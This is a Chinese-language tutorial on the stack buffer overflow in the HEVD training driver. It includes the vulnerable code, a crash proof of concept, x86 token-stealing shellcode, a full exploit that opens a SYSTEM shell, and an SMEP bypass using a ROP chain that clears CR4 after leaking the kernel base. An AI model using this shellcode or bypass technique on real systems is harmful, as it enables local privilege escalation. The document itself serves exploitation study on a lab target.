Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
字数 1148 2025-08-24 07:48:22
Windows内核漏洞利用教程:HEVD栈溢出漏洞分析与利用
环境搭建
所需工具
- OSR Loader 3.0: 用于驱动加载
- HEVD源码与HEVD_3.0: 从Github获取
- 调试环境: WinDbg + VMware双机调试
推荐环境配置
- 物理机OS: Windows 10 20H2 x64
- 物理机WinDbg: 10.0.17134.1
- 虚拟机OS: Windows 7 SP1 x86
- VMware: VMware Workstation 15 Pro
- Visual Studio 2019
基础知识
驱动程序开发基础
一个简单的驱动程序示例展示了基本的驱动结构:
#include <ntddk.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
// IRP处理函数
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_NOT_SUPPORTED;
}
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
UNICODE_STRING DosDeviceName = {0};
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
IoDeleteSymbolicLink(&DosDeviceName);
IoDeleteDevice(DriverObject->DeviceObject);
}
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
ULONG IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
return STATUS_INVALID_DEVICE_REQUEST;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
// 创建设备和符号链接
// 设置IRP处理函数
// 初始化驱动
}
用户态与驱动通信
用户态程序通过DeviceIoControl与驱动通信:
#include <stdio.h>
#include <windows.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HelloDev";
HANDLE open_device(const char* device_name) {
return CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code) {
BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4);
RtlFillMemory(inBuffer, 0x4, 'A');
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device, ioctl_code, inBuffer, 0x4,
NULL, 0, &size_returned, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
return is_ok;
}
int main() {
HANDLE dev = open_device(kDevName);
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
return 0;
}
HEVD栈溢出漏洞分析
漏洞代码
HEVD驱动中的栈溢出漏洞位于BufferOverflowStack.c文件中:
__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(_In_ PVOID UserBuffer, _In_ SIZE_T Size) {
ULONG KernelBuffer[BUFFER_SIZE] = {0}; // BUFFER_SIZE = 0x800
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
// 漏洞点:使用用户提供的Size参数而非KernelBuffer大小
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
return STATUS_SUCCESS;
}
漏洞原理
- 内核栈上分配了固定大小的缓冲区
KernelBuffer(0x800字节) - 使用
RtlCopyMemory(等同于memcpy)将用户态数据复制到内核缓冲区 - 复制长度由用户控制的
Size参数决定,而非使用sizeof(KernelBuffer) - 当
Size大于0x800时,会导致内核栈溢出
漏洞利用POC
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int main() {
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
CHAR* chBuffer = (CHAR*)malloc(0x824);
memset(chBuffer, 0x41, 0x824);
DWORD size_returned = 0;
DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,
chBuffer, 0x824, NULL, 0, &size_returned, NULL);
CloseHandle(dev);
return 0;
}
漏洞利用开发
基本利用思路
- 构造足够大的缓冲区(0x824字节)覆盖返回地址
- 将shellcode地址放置在返回地址位置
- shellcode执行权限提升操作
Shellcode设计
CHAR shellcode[] =
"\x60" // pushad
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax,[fs:eax + 0x124] (CurrentThread)
"\x8b\x40\x50" // mov eax,[eax + 0x50] (EPROCESS)
"\x89\xc1" // mov ecx,eax
"\xba\x04\x00\x00\x00" // mov edx,0x4 (System PID)
"\x8b\x80\xb8\x00\x00\x00" // mov eax,[eax + 0xb8] (ActiveProcessLinks)
"\x2d\xb8\x00\x00\x00" // sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp[eax + 0xb4],edx
"\x75\xed" // jnz (loop until find System process)
"\x8b\x90\xf8\x00\x00\x00" // mov edx,[eax + 0xf8] (System Token)
"\x89\x91\xf8\x00\x00\x00" // mov[ecx + 0xf8],edx (copy to current process)
"\x61" // popad
"\x31\xc0" // xor eax,eax
"\x5d" // pop ebp
"\xc2\x08\x00"; // ret 0x8
完整Exploit
#include <stdio.h>
#include <windows.h>
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
int main() {
HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
CHAR* chBuffer = (CHAR*)malloc(0x824);
ZeroMemory(chBuffer, 0x824);
memset(chBuffer, 0x41, 0x820);
// 分配可执行内存存放shellcode
CHAR* p = (CHAR*)VirtualAlloc(0, 0x60, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(p, 0x60);
// 内联汇编构造shellcode
__asm {
pushad;
mov edi, p;
mov [edi], 0x60;
mov dword ptr [edi + 0x1], 0x8B64C031;
// ... 省略其他shellcode构造指令
mov eax, chBuffer;
mov[eax + 0x820], edi; // 将shellcode地址放在返回地址位置
popad;
}
DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,
chBuffer, 0x824, NULL, 0, NULL, NULL);
CloseHandle(dev);
system("cmd.exe"); // 获取system shell
return 0;
}
SMEP/SMAP绕过技术
SMEP/SMAP简介
- SMEP(Supervisor Mode Execution Prevention): 禁止内核执行用户空间代码
- SMAP(Supervisor Mode Access Prevention): 禁止内核访问用户空间数据
- 通过CR4寄存器的第20位(SMEP)和第21位(SMAP)控制
绕过方法
-
ROP链修改CR4:
- 使用内核中的ROP gadget修改CR4寄存器
- 将SMEP/SMAP位清零
-
获取内核基址:
- 使用
NtQuerySystemInformation获取内核模块信息
- 使用
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
INT64 get_kernel_base() {
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION pModuleInfo =
(PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_READWRITE);
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
return (INT64)kernelImageBase;
}
- ROP链构造:
// 示例ROP gadget
INT64 pop_rcx_offset = kernel_base + 0x146580; // pop rcx; retn
INT64 rcx_value = 0x70678; // CR4值(禁用SMEP)
INT64 mov_cr4_offset = kernel_base + 0x3D6431; // mov cr4, rcx; retn
// 构造输入缓冲区
BYTE input_buff[2088] = {0};
memset(input_buff, '\x41', 2056);
// 填充ROP链
memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8);
memcpy(input_buff + 2064, (PINT64)&rcx_value, 8);
memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8);
memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8);
总结
本教程详细分析了HEVD驱动中的栈溢出漏洞,从基础驱动开发到漏洞利用,再到高级的SMEP/SMAP绕过技术。关键点包括:
- 理解Windows驱动通信机制
- 分析栈溢出漏洞原理
- 开发可靠的shellcode实现权限提升
- 绕过现代防护机制(SMEP/SMAP)
- 使用ROP技术在内核空间执行任意代码
通过掌握这些技术,安全研究人员可以更好地理解Windows内核漏洞的利用方法,并为开发更安全的驱动程序提供参考。